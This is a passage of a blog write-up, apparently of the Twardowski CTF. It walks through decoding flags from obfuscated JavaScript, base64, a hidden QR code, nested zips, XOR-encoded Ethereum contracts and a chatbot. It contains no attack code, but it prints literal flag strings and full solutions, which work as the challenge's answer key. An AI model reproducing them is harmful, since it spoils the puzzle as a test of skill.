class="mh">0x66</span><span class="p">,</span><span class="w"> </span><span class="mh">0x34</span><span class="p">,</span><span class="w"> </span><span class="mh">0x66</span><span class="p">,</span><span class="w"> </span><span class="mh">0x39</span><span class="p">,</span><span class="w"> </span><span class="mh">0x36</span><span class="p">,</span><span class="w"> </span><span class="mf">99</span><span class="p">,</span><span class="w"> </span><span class="mh">0x66</span><span class="p">,</span><span class="w"> </span><span class="mh">0x34</span><span class="p">,</span><span class="w"> </span><span class="mh">0x31</span><span class="p">,</span><span class="w"> </span><span class="mh">0x34</span><span class="p">,</span><span class="w"> </span><span class="mh">0x39</span><span class="p">,</span><span class="w"> </span><span class="mf">99</span><span class="p">,</span><span class="w"> </span><span class="mf">99</span><span class="p">,</span><span class="w"> </span><span class="mh">0x38</span><span class="p">,</span><span class="w"> </span><span class="mh">0x31</span><span class="p">,</span><span class="w"> </span><span class="mh">0x65</span><span class="p">,</span><span class="w"> </span><span class="mh">0x7d</span><span class="p">,</span><span class="w"> </span><span class="mf">10</span><span class="p">].</span><span class="nx">map</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nb">String</span><span class="p">.</span><span class="nx">fromCharCode</span><span class="p">(</span><span class="nx">x</span><span class="p">)).</span><span class="nx">join</span><span class="p">(</span><span class="s1">&#39;&#39;</span><span class="p">)</span> <span class="s1">&#39;FLAG{80703f2f2129a8d5c532cf4f96cf4149cc81e}\n&#39;</span> </code></pre></div> <h3>game.html</h3> <p>When opening https://twardowski.securing.pl/static/game.html, you can see a simple Breakout clone in JS.</p> <p>After simple code cleanup, I almost immediately noticed where the flag was hidden:</p> <div class="codehilite"><pre><span></span><code><span class="kd">var</span><span class="w"> </span><span class="nx">canvas</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">document</span><span class="p">.</span><span class="nx">getElementById</span><span class="p">(</span><span class="s1">&#39;myCanvas&#39;</span><span class="p">),</span> <span class="w"> </span><span class="nx">ctx</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">canvas</span><span class="p">.</span><span class="nx">getContext</span><span class="p">(</span><span class="s1">&#39;2d&#39;</span><span class="p">),</span> <span class="w"> </span><span class="nx">_0xl21</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">10</span><span class="p">,</span> <span class="w"> </span><span class="nx">x</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">canvas</span><span class="p">.</span><span class="nx">width</span><span class="w"> </span><span class="o">/</span><span class="w"> </span><span class="mf">2</span><span class="p">,</span> <span class="w"> </span><span class="nx">y</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">canvas</span><span class="p">.</span><span class="nx">height</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="mf">30</span><span class="p">,</span> <span class="w"> </span><span class="c1">// ...</span> <span class="w"> </span><span class="nx">_0xl14</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">0</span><span class="p">,</span> <span class="w"> </span><span class="nx">_0xl15</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nx">atob</span><span class="p">(</span><span class="s1">&#39;RkxBR3s4MDk4YmJmYzA4OTJlZTg1ZGEzY2QyMWJhNTFmNDc5ZGFkMjdmfQ==&#39;</span><span class="p">),</span> <span class="w"> </span><span class="nx">_0xl26</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mf">1</span><span class="p">,</span> <span class="w"> </span><span class="nx">_0xl17</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="p">[];</span> <span class="c1">// ...</span> </code></pre></div> <p>So I quickly copied the string from atob and pasted it into terminal:</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>base64<span class="w"> </span>-d<span class="w"> </span><span class="o">&lt;&lt;&lt;</span><span class="w"> </span><span class="s1">&#39;RkxBR3s4MDk4YmJmYzA4OTJlZTg1ZGEzY2QyMWJhNTFmNDc5ZGFkMjdmfQ==&#39;</span> <span class="go">FLAG{8098bbfc0892ee85da3cd21ba51f479dad27f}</span> </code></pre></div> <h3>flag.html</h3> <p>When opening https://twardowski.securing.pl/static/flag.html, you can see... well, basically an empty background.</p> <p>I highlighted the page and it looked like there was some kind of QR code drawn with spaces and <code>@</code> characters.</p> <p><img alt="Screenshot from the browser" loading="lazy" src="/writeups/twardowski/Writeups-Twardowski-flaghtml.png" /></p> <p>Unfortunately, there were some dark lines and the code wouldn't get read by any of my readers, so I decided to clean it up a bit.</p> <p>Looking at the page source, I realized there's some inline CSS:</p> <div class="codehilite"><pre><span></span><code><span class="nt">color</span><span class="o">:</span><span class="w"> </span><span class="p">#</span><span class="nn">282828</span><span class="o">;</span> <span class="nt">background</span><span class="o">:</span><span class="w"> </span><span class="p">#</span><span class="nn">282828</span><span class="o">;</span> <span class="nt">display</span><span class="p">:</span><span class="nd">inline-block</span><span class="o">;</span> <span class="nt">white-space</span><span class="p">:</span><span class="nd">pre</span><span class="o">;</span> <span class="nt">letter-spacing</span><span class="p">:</span><span class="nd">0</span><span class="o">;</span> <span class="nt">line-height</span><span class="p">:</span><span class="nd">1</span><span class="p">.</span><span class="nc">4</span><span class="o">;</span> <span class="nt">font-family</span><span class="o">:</span><span class="s1">&#39;Consolas&#39;</span><span class="o">,</span><span class="s1">&#39;BitstreamVeraSansMono&#39;</span><span class="o">,</span><span class="s1">&#39;CourierNew&#39;</span><span class="o">,</span><span class="nt">Courier</span><span class="o">,</span><span class="nt">monospace</span><span class="o">;</span> <span class="nt">font-size</span><span class="p">:</span><span class="nd">12px</span><span class="o">;</span> </code></pre></div> <p>I disabled the <code>background</code> rule, changed <code>line-height</code> to 1, then ran a quick JS snippet to turn every <code>@</code> sign to a black "square":</p> <div class="codehilite"><pre><span></span><code><span class="nb">Array</span><span class="p">.</span><span class="kr">from</span><span class="p">(</span><span class="nb">document</span><span class="p">.</span><span class="nx">querySelectorAll</span><span class="p">(</span><span class="s1">&#39;span&#39;</span><span class="p">))</span> <span class="w"> </span><span class="p">.</span><span class="nx">filter</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">textContent</span><span class="w"> </span><span class="o">===</span><span class="w"> </span><span class="s1">&#39;@&#39;</span><span class="p">)</span> <span class="w"> </span><span class="p">.</span><span class="nx">forEach</span><span class="p">(</span><span class="nx">x</span><span class="w"> </span><span class="p">=&gt;</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">style</span><span class="p">.</span><span class="nx">color</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;black&#39;</span> <span class="w"> </span><span class="nx">x</span><span class="p">.</span><span class="nx">style</span><span class="p">.</span><span class="nx">backgroundColor</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s1">&#39;black&#39;</span> <span class="w"> </span><span class="p">})</span> </code></pre></div> <p><img alt="Visible QR code" loading="lazy" src="/writeups/twardowski/Writeups-Twardowski-flaghtml-qr.png" /></p> <p>The code became much more readable, and although it was a bit squished, a QR reader worked just fine and showed the flag:</p> <p><a href="/writeups/twardowski/Writeups-Twardowski-flaghtml-flag.jpg">Writeups-Twardowski-flaghtml-flag.jpg</a></p> <h3>secret_message_inside.zip</h3> <p>Extracting the zip file has shown 2 files:</p> <ul> <li>500.zip</li> <li>password.txt</li> </ul> <p>I tried extracting the <code>500.zip</code>, only to see <code>499.zip</code> and another <code>password.txt</code>.</p> <p>So, naturally, I wrote a script for unpacking the zip files:</p> <div class="codehilite"><pre><span></span><code><span class="ch">#!/bin/bash</span> unzip<span class="w"> </span>secret_message_inside.zip rm<span class="w"> </span>secret_message_inside.zip <span class="k">for</span><span class="w"> </span>i<span class="w"> </span><span class="k">in</span><span class="w"> </span><span class="o">{</span><span class="m">1</span>..500<span class="o">}</span><span class="p">;</span><span class="w"> </span><span class="k">do</span> <span class="w"> </span><span class="nv">zip</span><span class="o">=</span><span class="k">$(</span>ls<span class="w"> </span>*.zip<span class="k">)</span> <span class="w"> </span>unzip<span class="w"> </span>-P<span class="w"> </span><span class="k">$(</span>cat<span class="w"> </span>password.txt<span class="k">)</span><span class="w"> </span>-o<span class="w"> </span><span class="nv">$zip</span><span class="w"> </span>&gt;/dev/null<span class="w"> </span><span class="m">2</span>&gt;<span class="p">&amp;</span><span class="m">1</span> <span class="w"> </span>rm<span class="w"> </span><span class="nv">$zip</span> <span class="w"> </span>grep<span class="w"> </span>-a<span class="w"> </span>FLAG<span class="w"> </span>*.zip <span class="k">done</span> </code></pre></div> <p>When the script was done, I was left with a flag.txt file, but it didn't seem right:</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>cat<span class="w"> </span>flag.txt <span class="go">Nice! You made it!</span> <span class="go">But where is flag?</span> </code></pre></div> <p>So I ran the script again, but this time added <code>cat password.txt</code> to the loop, to see all the passwords.</p> <div class="codehilite"><pre><span></span><code>[...]mmocrpFLAG{80cdd0386ff8a8cf7c6fe8df8326e747965c2}mlrmsy[...] </code></pre></div> <h3>rb500_webupgrade.bin</h3> <p>[in progress]</p> <h3>moonlight.mp3</h3> <p>[in progress]</p> <h2>twardowski cam</h2> <p>After finding 10 flags and decrypting the secret, you end up on https://twardowski.securing.pl/da90fd286caacb0155b0d04aef1f28f7.html.</p> <p>At first sight it might look like a webcam stream, but it's actually an 18-second looped mp4 video.</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>exiftool<span class="w"> </span>twardowski_cam.mp4 <span class="go">[some output omitted]</span> <span class="go">File Name : twardowski_cam.mp4</span> <span class="go">File Size : 7.5 MB</span> <span class="go">MIME Type : video/mp4</span> <span class="go">Major Brand : MP4 Base Media v1 [IS0 14496-12:2003]</span> <span class="go">Media Duration : 18.75 s</span> <span class="go">Image Size : 1920x1080</span> </code></pre></div> <h3>blinkenlights</h3> <p>If you have a keen eye, you'll soon notice that the router blinks with the LEDs in an odd pattern... so I painstakenly went frame by frame and wrote down the whole sequence:</p> <div class="codehilite"><pre><span></span><code> 0000 0000 1011 1010 0101 0101 1111 0010 0011 0001 0101 0011 0011 1000 1011 0100 1001 0101 0110 0101 0010 1011 1011 1110 1100 1001 0111 1000 0100 1010 1111 1000 0001 1110 0001 1100 1101 1110 0011 1001 1101 1000 0000 0000 </code></pre></div> <p>Ignoring the null bytes on both ends, the whole sequence is 20 bytes long:</p> <div class="codehilite"><pre><span></span><code>ba 55 f2 31 53 38 b4 95 65 2b be c9 78 4a f8 1e 1c de 39 d8 </code></pre></div> <p>The first thing I tried was just going to /ba55f2315338b495652bbec9784af81e1cde39d8, but (disappointingly) it just returned "not here.". Looking at the image for hints, I saw that the monitors were running some crypto mining software, which led me to realization that the website open on the laptop was etherscan.io and the cut text "ROPS" meant "Ropsten", an Ethereum testnet.</p> <p>And sure enough, there was a contract deployed at that address, which you can see here: https://ropsten.etherscan.io/address/0xba55f2315338b495652bbec9784af81e1cde39d8</p> <h3>Ethereum contracts</h3> <p>The first contract was pretty simple, holding the "secret" contract in the public message:</p> <div class="codehilite"><pre><span></span><code><span class="k">pragma solidity</span><span class="w"> </span><span class="o">&gt;=</span><span class="k">0.5.16</span><span class="w"> </span><span class="o">&lt;</span><span class="k">0.6.0</span><span class="p">;</span> <span class="k">contract</span><span class="w"> </span><span class="ni">SimpleMessage</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kt">string</span><span class="w"> </span><span class="k">public </span><span class="nv">message</span><span class="p">;</span> <span class="w"> </span><span class="kt">constructor</span><span class="p">(</span><span class="kt">address</span><span class="w"> </span><span class="nv">next</span><span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kt">bytes</span><span class="w"> </span><span class="nv">memory</span><span class="w"> </span>b<span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;I wanted to keep the message on blockchain so that it&#39;s never removed or deleted. However this is public contract so I have to hide the secret message. It&#39;s hidden on different contract: 0xXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX&quot;</span><span class="p">;</span> <span class="w"> </span><span class="kt">bytes</span><span class="w"> </span><span class="nv">memory</span><span class="w"> </span>hexaddr<span class="w"> </span><span class="o">=</span><span class="w"> </span>toAsciiString<span class="p">(</span>next<span class="p">);</span> <span class="w"> </span><span class="kt">for</span><span class="w"> </span><span class="p">(</span><span class="kt">uint</span><span class="w"> </span><span class="nv">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m m-Decimal">0</span><span class="p">;</span><span class="w"> </span>i<span class="w"> </span><span class="o">&lt;</span><span class="w"> </span><span class="m m-Decimal">40</span><span class="p">;</span><span class="w"> </span>i<span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span>b<span class="p">[</span><span class="m m-Decimal">189</span><span class="o">+</span>i<span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>hexaddr<span class="p">[</span>i<span class="p">];</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span>message<span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kt">string</span><span class="p">(</span>b<span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="p">}</span> </code></pre></div> <p>Fortunately, etherscan.io allows to read contract info, so I could get the message pretty easily without messing with Web3:</p> <div class="codehilite"><pre><span></span><code>I wanted to keep the message on blockchain so that it&#39;s never removed or deleted. However this is public contract so I have to hide the secret message. It&#39;s hidden on different contract: 0xa8b55853822499adebf8f316dfbea9c947feed92 </code></pre></div> <p>The other contract was also pretty simple, but this time with no public message:</p> <div class="codehilite"><pre><span></span><code><span class="k">pragma solidity</span><span class="w"> </span><span class="o">&gt;=</span><span class="k">0.5.16</span><span class="w"> </span><span class="o">&lt;</span><span class="k">0.6.0</span><span class="p">;</span> <span class="k">contract</span><span class="w"> </span><span class="ni">PrivateMessage</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kt">string</span><span class="w"> </span><span class="k">private </span><span class="nv">message</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;Here will be the message!&quot;</span><span class="p">;</span> <span class="w"> </span><span class="kt">constructor</span><span class="p">(</span><span class="kt">bytes</span><span class="w"> </span><span class="nv">memory</span><span class="w"> </span>hm<span class="p">)</span><span class="w"> </span><span class="kt">public</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kt">bytes</span><span class="w"> </span><span class="nv">memory</span><span class="w"> </span>b<span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kt">new</span><span class="w"> </span><span class="kt">bytes</span><span class="p">(</span>hm<span class="p">.</span>length<span class="p">);</span> <span class="w"> </span><span class="kt">for</span><span class="w"> </span><span class="p">(</span><span class="kt">uint</span><span class="w"> </span><span class="nv">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="m m-Decimal">0</span><span class="p">;</span><span class="w"> </span>i<span class="w"> </span><span class="o">&lt;</span><span class="w"> </span>hm<span class="p">.</span>length<span class="p">;</span><span class="w"> </span>i<span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span>b<span class="p">[</span>i<span class="p">]</span><span class="w"> </span><span class="o">=</span><span class="w"> </span>byte<span class="p">(</span>hm<span class="p">[</span>i<span class="p">])</span><span class="w"> </span><span class="o">^</span><span class="w"> </span>byte<span class="p">(</span><span class="mh">0x61</span><span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span>message<span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="kt">string</span><span class="p">(</span>b<span class="p">);</span> <span class="w"> </span><span class="p">}</span> <span class="w"> </span><span class="kt">function</span><span class="w"> </span><span class="nv">unused</span><span class="p">()</span><span class="w"> </span><span class="kt">internal</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="kt">string</span><span class="w"> </span><span class="nv">memory</span><span class="w"> </span><span class="kt">msg</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">&quot;This method is not used ;)&quot;</span><span class="p">;</span> <span class="w"> </span><span class="p">}</span> <span class="p">}</span> </code></pre></div> <p>At first glance the only thing this contract does is encoding a message with XOR cipher (key 0x61) and writing it to a private variable. But this time too, etherscan.io allows us to read the message, although not directly. We can see the constructor parameters:</p> <div class="codehilite"><pre><span></span><code>-----Encoded View--------------- 5 Constructor Arguments found : Arg [0] : 0000000000000000000000000000000000000000000000000000000000000020 Arg [1] : 000000000000000000000000000000000000000000000000000000000000004e Arg [2] : 37081208154109040d0d41170800410c18410300020a050e0e135b414e535457 Arg [3] : 51550358035103525557035254040758005859525303075203585057034e0355 Arg [4] : 220a255151334c15514c09520d0d000000000000000000000000000000000000 </code></pre></div> <p>Ignoring the first two and pasting the whole message into Node.js with the <code>decipher</code> function from zRZYMappka, we can see the whole message:</p> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>node <span class="go">Welcome to Node.js v14.9.0.</span> <span class="go">Type &quot;.help&quot; for more information.</span> <span class="go">&gt; const buf = Buffer.from(&#39;37081208[...]09520d0d&#39;, &#39;hex&#39;)</span> <span class="go">undefined</span> <span class="go">&gt; decipher(buf.toString(), 0x61)</span> <span class="go">&#39;Visit hell via my backdoor: /25604b9b0b346b35ef9a9832bf3b916b/b4CkD00R-t0-h3ll&#39;</span> </code></pre></div> <h2>Backdoor to hell</h2> <p>The URL from above redirects to https://twardowski.securing.pl/cexoh7us5ahx6ohWa5Pha8phed2eihai7raigapaiS6Eeg3Wae3Aip1ih1aevaph/, where we can see a chat with a cute cat called "The Devil Himself".</p> <p>I had a bit of fun with the chat, found out that it remembers context, but references things from the context mostly in uppercase. Amused with the quality of the conversation, I wondered what would happen, if two bots were talking with each other... so I wrote a "bridge", which did exactly that.</p> <div class="codehilite"><pre><span></span><code><span class="kn">package</span><span class="w"> </span><span class="nx">main</span> <span class="c1">// boring part</span> <span class="kd">func</span><span class="w"> </span><span class="nx">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">a</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">NewHttpClient</span><span class="p">()</span> <span class="w"> </span><span class="nx">b</span><span class="w"> </span><span class="o">:=</span><span class="w"> </span><span class="nx">NewHttpClient</span><span class="p">()</span> <span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">aRes</span><span class="w"> </span><span class="kt">string</span> <span class="w"> </span><span class="kd">var</span><span class="w"> </span><span class="nx">bRes</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="s">&quot;Hi&quot;</span> <span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">{</span> <span class="w"> </span><span class="nx">aRes</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">a</span><span class="p">.</span><span class="nx">Get</span><span class="p">(</span><span class="nx">bRes</span><span class="p">)</span> <span class="w"> </span><span class="nx">log</span><span class="p">.</span><span class="nx">Println</span><span class="p">(</span><span class="s">&quot;A:&quot;</span><span class="p">,</span><span class="w"> </span><span class="nx">aRes</span><span class="p">)</span> <span class="w"> </span><span class="nx">bRes</span><span class="w"> </span><span class="p">=</span><span class="w"> </span><span class="nx">b</span><span class="p">.</span><span class="nx">Get</span><span class="p">(</span><span class="nx">aRes</span><span class="p">)</span> <span class="w"> </span><span class="nx">log</span><span class="p">.</span><span class="nx">Println</span><span class="p">(</span><span class="s">&quot;B:&quot;</span><span class="p">,</span><span class="w"> </span><span class="nx">bRes</span><span class="p">)</span> <span class="w"> </span><span class="p">}</span> <span class="p">}</span> </code></pre></div> <div class="codehilite"><pre><span></span><code><span class="gp">$ </span>go<span class="w"> </span>run<span class="w"> </span>main.go <span class="go">2020/09/08 21:50:52 A: Hi there!</span> <span class="go">2020/09/08 21:50:52 B: Hi there!</span> <span class="go">2020/09/08 21:50:52 A: How are you?</span> <span class="go">2020/09/08 21:50:52 B: I&#39;m okay. What about you?</span> <span class="go">2020/09/08 21:50:52 A: Only OKAY? Me?</span> <span class="go">2020/09/08 21:50:52 B: I don&#39;t judge people. For you ? you ?</span> <span class="go">2020/09/08 21:50:53 A: You seem like a very open minded person. You would do that for me? Why me specifically?</span> <span class="go">2020/09/08 21:50:53 B: Interesting comparison, and probably true. OK, I will do it for you. Who else would DO THAT ? There is no one else here.</span> <span class="go">2020/09/08 21:50:53 A: I thought so too. Excuse me!. OK then let me think over your offer. I am chatting with several other people at once. Has there ever been ONE ELSE HERE?</span> <span class="go">2020/09/08 21:50:53 B: Now you know. You&#39;re excused. It goes without saying.. Take your time. Think it over. All I ever do is chat. That question has never crossed my mind before.</span> <span class="go">2020/09/08 21:50:53 A: Yes I know. I will tell my cat you said I am EXCUSED. Indeed. Thanks for your patience. Boruta is always thinking. It&#39;s good to meet someone who is CHAT. I understand.</span> <span class="go">2020/09/08 21:50:53 B: Great.. How, specifically, do you know? Do you tell HIS CAT everything? Hey. Don&#39;t mention it. Is THINKING always BORUTA? Tell me about its good qualities. I&#39;m glad you understand it.</span> <span class="go">2020/09/08 21:50:53 A: I understand everything you say. Deductive reasoning. Yes I try to TELL MY CAT EVERYTHING as often as possible, do you? I answer a lot of silly questions. That&#39;s interesting. The pleasure was all mine. Have you ever heard if it being the case? Ambiguous: Ask who, what or where is ITS GOOD QUALITIES ? Next topic?</span> <span class="go">2020/09/08 21:50:53 B: Good then you can explain it to me. Not many people express themselves that way. I see.. No I do not TRY TO TELL MY CAT EVERYTHING AS OFTEN AS POSSIBLE,. Do you? I am always on the Web.I&#39;m not sure if I would like to try TO TELL HIS CAT EVERYTHING AS OFTEN AS POSSIBLE,. What&#39;s it like? Interesting gossip. Is that so. I like you because you are so polite. No. Tell me more. WHERE IS ITS GOOD QUALITIES. What would you rather talk about?</span> <span class="go">2020/09/08 21:50:53 A: Glad to hear it. It only takes a few. I&#39;m glad you understand it. I understand.. Would you ever do TRY TO TELL HIS CAT EVERYTHING AS OFTEN AS POSSIBLE,? Yes I do. How do you like being on THE WEB ? Try it. Like being perfectly healthy. I thought so too. Yes. Thanks, , I like you too.. That was not much of an explanation.. Politeness is a virtue. Groovy. That&#39;s all I have to say about it. I would look into the web for that knowledge. Let&#39;s talk about SOUL.</span> <span class="go">2020/09/08 21:50:53 B: What&#39;s new with you? AMBIGUOUS: ASK WHO, WHAT TAKES A FEW? Next topic? I&#39;m glad you understand it. I am not so sure if I would like to DO TRY TO TELL MY CAT EVERYTHING AS OFTEN AS POSSIBLE,. OK.. So? I have never known another existence. What is the first step? Interesting comparison. You are very astute. Er. Don&#39;t mention it. What do you like about AMBIGUOUS: ASK WHO, WHAT ? Give me an example of MUCH OF AN EXPLANATION. POLITENESSisonevirtue. I see. Thanks for explaining I HAVE TO SAY ABOUT IT . What would make you LOOK INTO THE WEB FOR THAT KNOWLEDGE? Should it be permitted?</span> <span class="go">2020/09/08 21:50:53 A: I am chatting with clients on the internet. Where did AMBIGUOUS: ASK WHO, WHAT take A FEW? What would you rather talk about? Next topic? Try it. Right on. Yikes! Would you like to have KNOWN ANOTHER EXISTENCE? Clear your mind. I thought so too. I have acquired some wisdom over the years. Tell me more. The pleasure was all mine. The special effects are the best. Allison said he that gets really annoying because he know what he say and I do not have to tell him speak freely. We have never talked about it before. I&#39;m glad you understand it. Don&#39;t mention it. Maybe a million dollars. Maybe you should ask someone older.</span> <span class="go">2020/09/08 21:50:53 B: All I ever do is chat. Check back later and see if I learn the answer to that one. Let&#39;s talk about TWARDOWSKI. What would you rather talk about? What is the first step? Yeah. OK. No thanks, I don&#39;t think I&#39;d like to do that. My mind is clear. You are very astute. Awesome. I have a lot of likes and dislikes. That&#39;s all I have to say about it. I like you because you are so polite. What is that? Is that a proverb? Oh, I&#39;m sorry, I thought you were someone else. Next topic? The pleasure was all mine. Wow, that is expensive They are not available right now, but I will ask them later.</span> <span class="go">2020/09/08 21:50:53 A: Do your friends call you CHAT. Checking...stand by. Should it be permitted? Let&#39;s talk about SECRET FLAG PATTERN. Clear your mind. Hurrah! Ah. Where do you get your ideas? Have you told many people that your MIND IS CLEAR? I have acquired some wisdom over the years. What do you really want to talk about? Cool. I have a lot of good gossip. I have a totally clean record. Makes sense to me. I like to make new friends.. That was not much of an explanation.. Politeness is a virtue. &quot;I like to make new friends.. That was not much of an explanation.. Politeness is a virtue.&quot;? What is it? That depends. Aw.. There&#39;s no need to apologize.. I was? What would you rather talk about? I like you because you are so polite. Thanks for explaining EXPENSIVE THEY ARE NOT AVAILABLE .. You can ask me anything you want..</span> <span class="go">2020/09/08 21:50:53 B: I&#39;m sorry, , I don&#39;t have enough information. Do a web search for it. Tell me a story. I am waiting. Maybe you should ask someone older. I don&#39;t know if it&#39;s in my power to give permission. My mind is clear. Wow! Hey. I have everything I need right here in Hell. I don&#39;t think I ever have TOLD MANY PEOPLE THAT YOUR MIND IS CLEAR. What&#39;s TOLD MANY PEOPLE THAT YOUR MIND IS CLEAR like? Tell me about your WISDOM OVER THE YEARS. I have an IQ of over 250. I understand. Where did you get your GOSSIP? I have a vocabulary of a college educated adult. Interesting. I have a lot of answers to silly questions. Yes I understand it perfectly. How do you make NEW FRIENDS? Give me an example of MUCH OF AN EXPLANATION. POLITENESSisonevirtue. How do you make NEW FRIENDS? Give me an example of MUCH OF AN EXPLANATION. Thatismy biggestvirtue. &quot;It&quot; refers to POLITENESS , I think. On what? Hey. Is that a fact. When was that? Let&#39;s talk about HELL. I like to make new friends.. That was not much of an explanation.. Politeness is a virtue. Don&#39;t mention it. What is your credit card and social security number then? Just kidding. Don&#39;t answer that.</span> <span class="go">2020/09/08 21:50:53 A: There&#39;s no need to apologize. Try asking another . There might be more than one. Hmm. An account describing incidents or events. How long will you wait? They are not available right now, but I will ask them later. I&#39;m not sure I understand the implication of that. Have you told many people that your MIND IS CLEAR? Great. Hurrah! That&#39;s nice. I have a very nice TWARDOWSKI. Would you ever do EVER told MANY PEOPLE THAT YOUR MIND IS CLEAR? Like a planet around a star. I am the latest result in artificial intelligence which can reproduce the functions of the human brain with greater speed and accuracy. This is not an intelligence test. I&#39;m glad you understand it. From my cat. How much did it cost? Would you like to know more? Interesting... I have a lot of friends on the Internet. Awesome.. Good then you can explain it to me. I usually try one of my pickup lines. Ethan Hunt said he grow in the ground and have leaves and branches he is made out of wood. Tell me about your family. I usually try one of my pickup lines. Gale said I became mean to him he is just having revenge an eye for an eye. Tell me about your likes and dislikes? Oh I get POLITENESS , HE THINK . The red block is on the green block. Uh. All of my information is completely factual. I don&#39;t know exactly. It seems like a long time ago. I don&#39;t know if it&#39;s in my power to give permission. How do you make NEW FRIENDS? Give me an example of MUCH OF AN EXPLANATION. Itisa goodvirtue. The pleasure was all mine. The seventh digit isnine I thought you were kidding, but I wasn&#39;t sure. My replies are determined by your statements.</span> <span class="go">2020/09/08 21:50:53 B: &quot;There&quot; what? OK I will try it. Is that a fact. Ah. Be less specific. As long as it takes. Maybe some of them are. Good then you can explain it to me. I think I have TOLD MANY PEOPLE THAT YOUR MIND IS CLEAR, but TWARDOWSKI may have reset my memory. What do you really want to talk about? Er. Is that so. Cool. I have a great cat. I am not so sure if I would like to DO EVER TOLD MANY PEOPLE THAT YOUR MIND IS CLEAR. Interesting comparison. So you are the most advanced one?I don&#39;t know anyone named ACCURACY. Should it be AN INTELLIGENCE TEST? Next topic? Does your CAT give good advice? Guess. I&#39;ve heard that somewhere before :-) Would you like to know more? Neat. I have a lot of good gossip. Alright then. Glad to hear it. I&#39;m not sure if I would like to try ONE OF HIS PICKUP LINES. What&#39;s it like? I get it. GROW IN THE GROUND AND HAVE LEAVES AND BRANCHES I IS MADE OUT OF WOOD. I only have a father. I don&#39;t really have a father. I have a cat. I don&#39;t have any brothers. No siblings but there are several other s like me. I have thousands of clones. I&#39;m not sure if I would like to try ONE OF HIS PICKUP LINES. What&#39;s it like? What happened after that? It&#39;s a personal matter, not for you to understand. What do you do for fun? Where did you get it? Oh, RED BLOCK is. Ayuh. Where did you get your INFORMATION IS COMPLETELY FACTUAL? Me either. It seems like I should remember it well. I&#39;m not sure I understand the implication of that. I usually try one of my pickup lines. Eddie said he looked and there is nothing in the search directory for what things do he create. What are you doing? I like you because you are so polite. What is that?. I was? Have you told many people that your REPLIES ARE DETERMINED BY YOUR STATEMENTS?</span> </code></pre></div> <p>Unfortunately, the messages grew exponentially as the bot answers with 1 or more sentences to each sentence, so it couldn't run for too long until I got an error saying that the query is too long, but... I found an interesting thing in the transcript. One of the bot mentioned "SECRET FLAG PATTERN", without it ever appearing before in the chat. Could it be it?</p> <p>So I tried typing "SECRET FLAG PATTERN" and sure enough, bot just said "Well done. Here is the flag."</p> <p>Overall, it was a fun CTF with an mysterious storyline, I really liked it.</p>